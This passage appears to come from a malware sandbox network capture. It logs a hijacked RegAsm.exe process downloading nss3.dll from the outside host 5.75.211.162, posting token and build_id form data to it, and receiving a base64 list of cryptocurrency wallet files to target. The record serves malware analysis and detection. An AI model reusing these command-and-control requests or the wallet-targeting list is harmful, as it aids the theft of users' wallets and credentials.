2024-09-25 16:00:46 UTC	16384	IN	Data Raw: 02 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-09-25 16:00:46 UTC	16384	IN	Data Raw: 00 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
2024-09-25 16:00:46 UTC	16384	IN	Data Raw: 8b d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-09-25 16:00:46 UTC	15606	IN	Data Raw: 4e 54 cf 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 Data Ascii: NT@L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49728	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:47 UTC	193	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:47 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:47 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Wednesday, 25-Sep-2024 16:00:47 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-25 16:00:47 UTC	16120	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: ee 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: 68 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b Data Ascii: hRQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: 77 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e Data Ascii: w@@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: ff ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: 24 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 Data Ascii: $%D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: 46 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 Data Ascii: Fd8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: e9 e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-M
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: 89 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 Data Ascii: Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
2024-09-25 16:00:47 UTC	16384	IN	Data Raw: 00 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49729	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:50 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:50 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------JEHIJJKEGHJJKECBKECFCont
2024-09-25 16:00:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:51 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49730	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:51 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:51 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------EHCGIJDHDGDBGDGCGCFHCont
2024-09-25 16:00:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-25 16:00:52 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49731	5.75.211.162	443	5464	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 16:00:53 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-25 16:00:53 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 39 66 30 65 30 61 33 61 37 34 39 62 66 62 62 64 35 37 61 33 62 62 32 66 64 62 65 62 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 38 63 64 32 35 30 62 31 35 65 36 36 36 65 35 66 37 32 66 63 66 35 63 61 61 36 63 62 31 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"439f0e0a3a749bfbbd57a3bb2fdbeb34------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="build_id"58cd250b15e666e5f72fcf5caa6cb131------EHJDHJKFIECAAKFIJJKJCont
2024-09-25 16:00:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 16:00:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
